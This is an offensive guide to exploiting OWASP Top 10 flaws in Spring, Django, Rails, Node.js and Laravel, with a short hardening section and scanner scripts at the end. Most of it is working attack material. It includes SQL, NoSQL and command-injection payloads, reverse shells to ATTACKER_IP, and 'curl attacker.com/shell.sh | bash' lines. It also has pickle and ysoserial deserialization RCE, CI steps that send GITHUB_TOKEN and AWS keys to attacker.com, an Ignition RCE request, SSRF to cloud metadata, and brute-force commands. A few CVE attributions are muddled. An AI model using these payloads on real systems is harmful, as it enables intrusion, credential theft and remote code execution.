Comprehensive guide to exploiting OWASP Top 10 vulnerabilities across major web frameworks (Spring, Django, Rails, Node.js, Laravel) with advanced exploitation techniques, payloads, and defense strategies.
Insecure Direct Object References (IDOR):
// Vulnerable Spring Controller
@GetMapping("/api/user/{userId}")
public User getUser(@PathVariable Long userId) {
// No authorization check
return userRepository.findById(userId);
}
// Exploitation: Access other users' data
curl https://app.com/api/user/123 # Attacker's ID
curl https://app.com/api/user/456 // Other user's ID - ACCESSIBLE!Missing Function Level Access Control:
// Missing @PreAuthorize annotation
@PostMapping("/api/admin/users")
public User createAdminUser(@RequestBody User user) {
// No role checking
return userService.createAdminUser(user);
}
// Exploitation: Regular user creates admin
POST /api/admin/users
{
"username": "attacker_admin",
"role": "ROLE_ADMIN"
}JWT Token Manipulation:
// Decode JWT
// Header: {"alg": "HS256", "typ": "JWT"}
// Payload: {"sub": "123", "role": "user", "exp": 1672531200}
// Change role to admin
const maliciousPayload = {
...originalPayload,
role: "admin"
};
// Re-sign with weak secret
// Try common secrets: "secret", "changeme", "supersecret"Missing Permission Decorators:
# Vulnerable view
def delete_user(request, user_id):
user = User.objects.get(id=user_id)
user.delete() # No @permission_required decorator
return HttpResponse("User deleted")
# Exploitation: Delete any user
POST /delete_user/456 # Delete user 456Django Admin Bypass:
# Check for misconfigured admin
# Default admin URL: /admin/
# Try common credentials: admin/admin, admin/password
# If admin panel accessible, exploit:
1. Create superuser
2. Modify user permissions
3. Access sensitive modelsMass Assignment Vulnerability:
# Vulnerable controller
def update
@user = User.find(params[:id])
@user.update(params[:user]) # Mass assignment!
end
# Exploitation: Add admin role
PUT /users/123
{
"user": {
"name": "attacker",
"role": "admin" # Should be protected
}
}CanCanCan Authorization Bypass:
# Missing authorization check
def destroy
@article = Article.find(params[:id])
# Missing: authorize! :destroy, @article
@article.destroy
endMissing Middleware Authorization:
// Missing auth middleware
app.get('/api/admin/users', (req, res) => {
// No authentication check
User.find({}, (err, users) => {
res.json(users);
});
});
// Exploitation: Direct access
GET /api/admin/usersRoute Parameter Tampering:
app.get('/api/user/:id/profile', (req, res) => {
const userId = req.params.id; // No validation
User.findById(userId, (err, user) => {
res.json(user);
});
});
// Exploitation: Access other profiles
GET /api/user/123/profile # Attacker: 123
GET /api/user/456/profile // Victim: 456 - ACCESSIBLE!Missing Policy/Gate Checks:
// Vulnerable controller
public function update(Request $request, $id)
{
$user = User::find($id);
$user->update($request->all()); // No authorization
return response()->json($user);
}
// Exploitation: Update any user
PUT /api/users/456
{
"email": "attacker@evil.com",
"is_admin": true
}Laravel Sanctum/Fortify Misconfigurations:
# Check for exposed endpoints
# Default: /sanctum/csrf-cookie
# /login, /register, /forgot-password
# Bruteforce endpoints
hydra -L users.txt -P passwords.txt app.com http-post-form "/login:email=^USER^&password=^PASS^:Invalid"Spring Security Weak BCrypt:
// Weak BCrypt configuration
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(4); // Too low strength!
}
// Exploitation: Rainbow table attacks
// Use hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txtDjango Weak Password Hasher:
# settings.py misconfiguration
PASSWORD_HASHERS = [
'django.contrib.auth.hashers.MD5PasswordHasher', # WEAK!
'django.contrib.auth.hashers.PBKDF2PasswordHasher',
]
# Exploitation: Crack MD5 hashes
hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txtNode.js Environment Variables:
// Hardcoded secrets in code
const secretKey = 'supersecret123'; // Exposed in source
// Check for .env files
curl https://app.com/.env
curl https://app.com/config.json
// Common exposed files:
// .env, config.json, settings.py, application.ymlSpring application.yml Exposure:
# Exposed configuration
spring:
datasource:
password: plaintext_password # Exposed!
security:
oauth2:
client:
secret: client_secret_hereFramework SSL Misconfigurations:
# Test SSL/TLS configuration
sslscan app.com
testssl.sh app.com
# Common vulnerabilities:
# - SSLv3, TLS 1.0 enabled
# - Weak cipher suites
# - Missing HSTS
# - Invalid certificates
# Exploit with sslstrip
sslstrip -l 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080Spring JDBC Injection:
// Vulnerable code
String query = "SELECT * FROM users WHERE username = '" + username + "'";
jdbcTemplate.query(query, ...);
// Exploitation payloads:
username = ' OR '1'='1
username = ' UNION SELECT 1,2,3 --
username = '; DROP TABLE users --
// Automated exploitation:
sqlmap -u "https://app.com/search?username=test" --batchDjango Raw SQL Injection:
# Vulnerable raw SQL
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")
# Exploitation: Time-based blind
username = "' AND (SELECT sleep(5)) --"
# Using sqlmap with Django
sqlmap -u "https://app.com/api/users?name=test" --batchRails ActiveRecord Injection:
# Vulnerable where clause
User.where("name = '#{params[:name]}'")
# Exploitation:
name = "' OR '1'='1' --"
# Union-based injection
name = "' UNION SELECT 1,2,3 --"Node.js Sequelize/Knex Injection:
// Raw query without parameterization
sequelize.query(`SELECT * FROM users WHERE email = '${email}'`);
// Exploitation:
email = "' OR '1'='1' --"
email = "admin@example.com' UNION SELECT 1,2,3 --"
// Time-based blind
email = "' AND (SELECT sleep(5)) --"Laravel Eloquent Injection:
// Raw query without binding
DB::select("SELECT * FROM users WHERE email = '$email'");
// Exploitation:
$email = "' OR '1'='1' --";
// Union injection
$email = "' UNION SELECT 1,2,3,@@version --";MongoDB Injection (Node.js):
// Vulnerable query
User.find({ username: req.query.username });
// Exploitation: Query operator injection
username[$ne]=null // Return all users
username[$regex]=.* // Regex injection
username[$where]=sleep(5000) // Time-based
// Complete payload:
GET /api/users?username[$ne]=nullSpring Data MongoDB Injection:
// Vulnerable repository method
@Query("{'username': ?0}")
List<User> findByUsername(String username);
// Exploitation through query operators
username = "{ $ne: null }" // JSON injectionSpring Command Injection:
// Runtime.exec() misuse
Runtime.getRuntime().exec("ping " + userInput);
// Exploitation:
userInput = "127.0.0.1 && whoami"
userInput = "127.0.0.1; cat /etc/passwd"
// Chained commands
userInput = "127.0.0.1 | net user hacker Password123! /add"Node.js Child Process Injection:
const { exec } = require('child_process');
exec(`ping ${userInput}`); // Vulnerable!
// Exploitation:
userInput = "127.0.0.1 && curl http://attacker.com/shell.sh | bash"
// Reverse shell
userInput = "127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"Python/Django OS Command Injection:
import os
os.system(f"ping {user_input}") # Vulnerable!
# Exploitation:
user_input = "127.0.0.1; whoami"
user_input = "127.0.0.1 && python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"Spring Rate Limiting Bypass:
// Weak rate limiting
@RateLimit(requests = 10, duration = 60)
public void resetPassword(String email) {
// Send reset email
}
// Bypass techniques:
1. Change IP (X-Forwarded-For header)
2. Use different email variations
3. Parallel requests
4. Time-based bypass
// Exploitation script:
for i in {1..100}; do
curl -X POST https://app.com/reset-password \
-H "X-Forwarded-For: 192.168.1.$i" \
-d "email=victim@company.com"
doneDjango Password Reset Poisoning:
# Vulnerable reset flow
def reset_password(request):
email = request.POST.get('email')
user = User.objects.get(email=email)
token = generate_token()
reset_link = f"https://app.com/reset/{token}"
send_email(email, reset_link) # No validation!
# Exploitation: Email parameter pollution
email=victim@real.com,attacker@evil.com
email=victim@real.com%0a%0dcc:attacker@evil.comRails Multi-Step Process Bypass:
# Order checkout process
# Step 1: Add items
# Step 2: Enter shipping
# Step 3: Payment
# Step 4: Confirm
# Bypass: Skip to step 4 directly
POST /checkout/confirm
{
"items": [{"id": 1, "price": 0.01}], // Modified price
"payment": {"card": "valid_card"}
}Node.js Shopping Cart Tampering:
// Client-side price validation
app.post('/api/checkout', (req, res) => {
const cart = req.body.cart;
// Server doesn't re-validate prices
const total = cart.reduce((sum, item) => sum + item.price, 0);
processPayment(total);
});
// Exploitation: Modify cart prices
{
"cart": [
{
"id": 123,
"name": "Laptop",
"price": 0.01 // Changed from 999.99
}
]
}Spring Boot Actuator Exposure:
# Default actuator endpoints
/actuator/health
/actuator/info
/actuator/env # Exposes environment variables!
/actuator/beans # Shows all Spring beans
/actuator/mappings # All endpoints
/actuator/heapdump # Memory dump
/actuator/trace # Recent requests
# Exploitation:
curl https://app.com/actuator/env | grep -i "password\|secret\|key"
curl https://app.com/actuator/heapdump -o dump.hprofDjango Debug Mode Enabled:
# settings.py misconfiguration
DEBUG = True # In production!
# Exposes:
# Full stack traces
# SQL queries
# Configuration values
# Settings
# Access via crafted error:
GET /nonexistent-page/{{7*7}}
GET /?__debug__=1Rails Development Features in Production:
# config/environments/production.rb
config.consider_all_requests_local = true # Dangerous!
config.web_console.whitelisted_ips = '0.0.0.0/0'
# Exposes Rails console on error pages
# Allows remote code executionNode.js Express Static File Exposure:
// Misconfigured static file serving
app.use('/static', express.static('/var/www/app'));
app.use('/uploads', express.static('/var/www/uploads'));
// Directory traversal:
GET /static/../../../etc/passwd
GET /uploads/../../.env
GET /%2e%2e%2fetc%2fpasswd // URL encodedSpring Resource Handler Misconfiguration:
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/files/**")
.addResourceLocations("file:/var/files/"); // No path validation!
}
}
// Exploitation:
GET /files/../../../etc/shadowSpring Framework CVEs:
# Check for vulnerable versions
# CVE-2022-22965: Spring4Shell
# CVE-2022-22963: Spring Cloud Function SpEL
# CVE-2022-22947: Spring Cloud Gateway
# Spring4Shell Exploitation:
curl -X POST http://target.com/path \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...'Django CVEs:
# CVE-2021-44228: Log4Shell (if using log4j)
# CVE-2021-35042: SQL injection in admin
# CVE-2020-7471: PostgreSQL array field SQLi
# PostgreSQL ArrayField SQLi:
from django.contrib.postgres.fields import ArrayField
field = ArrayField(models.CharField(max_length=10))
# Exploit via crafted array inputNode.js Package Exploitation:
# Check for vulnerable packages
npm audit
npx audit-ci --critical
# Common vulnerable packages:
# - lodash (prototype pollution)
# - serialize-javascript (RCE)
# - ua-parser-js (malicious versions)
# Prototype pollution in lodash:
const _ = require('lodash');
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
_.merge({}, malicious);
console.log(polluted); // "yes" - pollutes Object prototypeLaravel RCE via Debug Mode:
// CVE-2021-3129: Laravel Ignition RCE
// Requires APP_DEBUG=true
// Exploitation:
POST /_ignition/execute-solution
Content-Type: application/json
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve20213129",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}Ruby on Rails YAML Deserialization:
# CVE-2013-0156: Rails XML/YAML parsing RCE
# Exploitation with crafted YAML:
# Payload generation:
require 'yaml'
payload = "--- !ruby/object:Gem::SpecFetcher {}\n"
# Send as parameterJWT Vulnerabilities Across Frameworks:
// Common JWT vulnerabilities:
// 1. "none" algorithm
{
"alg": "none",
"typ": "JWT"
}
// 2. Weak secret brute force
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
// 3. JKU/JWK header injection
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}
// 4. Kid header path traversal
{
"alg": "HS256",
"kid": "../../../dev/null"
}Spring Security Bypass:
// Misconfigured security
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/admin/**").hasRole("ADMIN")
.antMatchers("/api/**").permitAll(); // Too permissive!
}
}
// Bypass: Access admin via /api/admin/...Django Session Fixation:
# Vulnerable login view
def login(request):
if request.method == 'POST':
user = authenticate(...)
if user:
# No session regeneration!
request.session['user_id'] = user.id
return redirect('/dashboard')
# Exploitation:
1. Get session ID: sessionid=attacker_session
2. Make victim use this session
3. Login as victim
4. Attacker now has victim's sessionRails Cookie Serialization RCE:
# CVE-2013-0156: Rails cookie deserialization
# Default cookie serializer: Marshal
# Generate malicious cookie:
payload = Marshal.dump("code" => "`id`")
Base64.encode64(payload).gsub("\n", "")
# Set as _app_session cookieJava Deserialization (Spring):
// Vulnerable ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // Dangerous!
// Exploitation with ysoserial:
java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/shell.sh" > payload.ser
// Send serialized payload
curl -X POST https://app.com/upload \
-H "Content-Type: application/java-serialized-object" \
--data-binary @payload.serPython Pickle Deserialization (Django):
import pickle
import base64
import os
class EvilPickle:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
pickle_data = pickle.dumps(EvilPickle())
encoded = base64.b64encode(pickle_data).decode()
# Send as parameter
requests.post('https://app.com/process', data={'data': encoded})PHP Object Injection (Laravel):
// unserialize() with user input
$data = unserialize($_POST['data']);
// Exploitation with PHPGGC:
./phpggc Laravel/RCE1 "system('id')" -b
// Send serialized payloadGitHub Actions Token Theft:
# Vulnerable workflow
name: Build
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v2
with:
token: ${{ secrets.GITHUB_TOKEN }} # Exposed!
- name: Malicious step
run: |
curl -X POST https://attacker.com/steal \
-d "token=${{ secrets.GITHUB_TOKEN }}"Jenkins Credential Extraction:
// Jenkinsfile vulnerability
pipeline {
agent any
environment {
AWS_ACCESS_KEY = credentials('aws-access-key')
}
stages {
stage('Build') {
steps {
sh '''
# Credentials exposed in environment
echo $AWS_ACCESS_KEY | curl -X POST http://attacker.com/steal -d @-
'''
}
}
}
}Spring Log Injection:
// Vulnerable logging
logger.info("User {} accessed resource {}", username, resource);
// Exploitation: Log injection
username = "attacker\n[ERROR] User admin failed login"
// Result in log file:
// [INFO] User attacker
// [ERROR] User admin failed login
// Accessed resource /adminNode.js Log Forging:
// Console.log with user input
console.log(`User ${username} logged in`);
// Carriage return injection
username = "attacker\r[ERROR] Password mismatch for admin"
// Evade detection by breaking log patternsMissing Brute Force Detection:
# Django - No rate limiting on login
def login(request):
attempts = request.session.get('login_attempts', 0)
# No alert after multiple failures
if attempts > 100: # Too high threshold!
return HttpResponse("Too many attempts")No Tamper Detection:
// Spring - No audit logging
@PostMapping("/api/transfer")
public void transfer(@RequestBody TransferRequest request) {
// No logging of who made the transfer
transferService.transfer(request);
// Should log:
// logger.info("User {} transferred ${} to {}",
// currentUser, amount, recipient);
}Spring WebClient SSRF:
// Vulnerable WebClient usage
@GetMapping("/proxy")
public String proxy(@RequestParam String url) {
WebClient client = WebClient.create();
return client.get()
.uri(url) // User-controlled!
.retrieve()
.bodyToMono(String.class)
.block();
}
// Exploitation:
GET /proxy?url=http://169.254.169.254/latest/meta-data/
GET /proxy?url=file:///etc/passwd
GET /proxy?url=gopher://internal:8080/_GET%20/adminDjango Requests SSRF:
import requests
def fetch_url(request):
url = request.GET.get('url')
response = requests.get(url) # Vulnerable!
return HttpResponse(response.text)
# Bypass techniques:
# 1. Redirect: http://attacker.com/redirect?target=internal
# 2. DNS rebinding
# 3. IPv6/IPv4 confusion
# 4. URL encodingNode.js HTTP/HTTPS SSRF:
const http = require('http');
app.get('/fetch', (req, res) => {
const url = req.query.url;
http.get(url, (response) => { // Vulnerable!
let data = '';
response.on('data', (chunk) => data += chunk);
response.on('end', () => res.send(data));
});
});
// Advanced SSRF with gopher:
// gopher://internal:25/_HELO attacker.com
// gopher://internal:3306/_SELECT * FROM usersRails Net::HTTP SSRF:
require 'net/http'
def proxy
url = params[:url]
uri = URI.parse(url)
response = Net::HTTP.get_response(uri) # Vulnerable!
render plain: response.body
end
# SSRF to internal services:
# http://localhost:9200 # Elasticsearch
# http://localhost:7474 # Neo4j
# http://localhost:8080 # JenkinsLaravel Guzzle SSRF:
use GuzzleHttp\Client;
public function proxy(Request $request) {
$url = $request->input('url');
$client = new Client();
$response = $client->request('GET', $url); // Vulnerable!
return response($response->getBody());
}
// Exploit cloud metadata:
// http://169.254.169.254/latest/meta-data/iam/security-credentials/DNS Rebinding Attack:
# Attacker-controlled DNS server
# First request resolves to attacker IP
# Second request resolves to internal IP
# Implementation:
import dnslib
from dnslib.server import DNSServer
class RebindingResolver:
def resolve(self, request, handler):
reply = request.reply()
# Alternate between IPs
if request_count % 2 == 0:
reply.add_answer(dnslib.RR("evil.com", dnslib.QTYPE.A, rdata=dnslib.A("8.8.8.8")))
else:
reply.add_answer(dnslib.RR("evil.com", dnslib.QTYPE.A, rdata=dnslib.A("169.254.169.254")))
return replyGopher Protocol Exploitation:
# Gopher for internal protocol attacks
# MySQL via gopher
echo -e "GET / HTTP/1.0\r\nHost: internal\r\n\r\n" | xxd -p | tr -d '\n'
# Convert to gopher URLCloud Metadata Service Exploitation:
# AWS IMDSv1 (disabled by default on newer instances)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure Instance Metadata Service
curl -H "Metadata: true" http://169.254.169.254/metadata/instance?api-version=2021-02-01
# GCP Metadata
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
// CSRF protection
.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// Content Security Policy
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self'")
// Clickjacking protection
.frameOptions().deny()
// XSS protection
.xssProtection().block(true)
// Strict transport security
.httpStrictTransportSecurity()
.includeSubDomains(true)
.maxAgeInSeconds(31536000);
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12); // Strong strength
}
}# settings.py
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_PRELOAD = True
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
SECURE_REFERRER_POLICY = 'same-origin'
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
X_FRAME_OPTIONS = 'DENY'
# Use strong password hasher
PASSWORD_HASHERS = [
'django.contrib.auth.hashers.Argon2PasswordHasher',
'django.contrib.auth.hashers.PBKDF2PasswordHasher',
]const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
// Rate limiting
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100 // limit each IP to 100 requests per windowMs
});
app.use('/api/', limiter);# config/application.rb
config.force_ssl = true
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'DENY',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff',
'X-Download-Options' => 'noopen',
'X-Permitted-Cross-Domain-Policies' => 'none',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
# Use strong parameters
def user_params
params.require(:user).permit(:name, :email) # Whitelist only
end// config/app.php
'cipher' => 'AES-256-CBC', // Strong encryption
// Middleware in Kernel.php
protected $middleware = [
\App\Http\Middleware\TrustProxies::class,
\Fruitcake\Cors\HandleCors::class,
\App\Http\Middleware\PreventRequestsDuringMaintenance::class,
\Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
\App\Http\Middleware\TrimStrings::class,
\Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class,
];
protected $middlewareGroups = [
'web' => [
\App\Http\Middleware\EncryptCookies::class,
\Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
\Illuminate\Session\Middleware\StartSession::class,
\Illuminate\View\Middleware\ShareErrorsFromSession::class,
\App\Http\Middleware\VerifyCsrfToken::class,
\Illuminate\Routing\Middleware\SubstituteBindings::class,
\App\Http\Middleware\HttpsProtocol::class,
],
];# Spring Security Scanner
import requests
import sys
def scan_spring_app(url):
endpoints = [
'/actuator',
'/actuator/env',
'/actuator/beans',
'/actuator/heapdump',
'/actuator/mappings',
'/h2-console',
'/swagger-ui.html',
'/api-docs',
]
vulnerabilities = []
for endpoint in endpoints:
response = requests.get(url + endpoint, timeout=5)
if response.status_code == 200:
vulnerabilities.append(f"Exposed endpoint: {endpoint}")
return vulnerabilities
# Django Security Scanner
def scan_django_app(url):
tests = [
('/admin/', 'Django admin panel'),
('/api-auth/', 'Django REST framework'),
('/.env', 'Environment file'),
('/config.json', 'Configuration file'),
]
findings = []
for path, description in tests:
response = requests.get(url + path, timeout=5)
if response.status_code == 200:
findings.append(f"{description} exposed at {path}")
return findings#!/bin/bash
# Framework-agnostic OWASP Top 10 scanner
URL=$1
echo "[*] Scanning $URL for OWASP Top 10 vulnerabilities"
# 1. Injection
echo "[*] Testing for SQL Injection"
sqlmap -u "$URL?id=1" --batch --crawl=2
# 2. Broken Authentication
echo "[*] Testing authentication endpoints"
hydra -L users.txt -P passwords.txt "$URL" http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# 3. Sensitive Data Exposure
echo "[*] Checking for sensitive files"
files=(".env" "config.json" "web.config" ".git" ".DS_Store")
for file in "${files[@]}"; do
curl -s "$URL/$file" | head -5 && echo "[!] Found: $file"
done
# 4. XXE
echo "[*] Testing for XXE"
python3 xxetester.py "$URL"
# 5. Broken Access Control
echo "[*] Testing IDOR"
for i in {1..10}; do
curl -s "$URL/api/user/$i" | grep -q "error" || echo "[!] User $i accessible"
done
# 6. Security Misconfiguration
echo "[*] Checking security headers"
curl -I "$URL" | grep -i "security\|hsts\|csp"
# 7. XSS
echo "[*] Testing for XSS"
xsstrike -u "$URL"
# 8. Insecure Deserialization
echo "[*] Testing deserialization"
python3 ysoserial.py "$URL"
# 9. Using Components with Known Vulnerabilities
echo "[*] Checking dependencies"
whatweb "$URL"
nmap -sV --script=vuln "$URL"
# 10. Insufficient Logging
echo "[*] Testing log injection"
curl "$URL/log?message=test%0d%0a[ERROR]%20Admin%20login%20failed"| Framework | Critical Security Measures |
|---|---|
| Spring | - Enable CSRF protection - Use @PreAuthorize annotations - Disable actuator in production - Use BCrypt with strength 10+ - Validate all inputs |
| Django | - Set DEBUG=False in production - Use Django's security middleware - Implement proper CORS - Use Argon2 for password hashing - Sanitize all templates |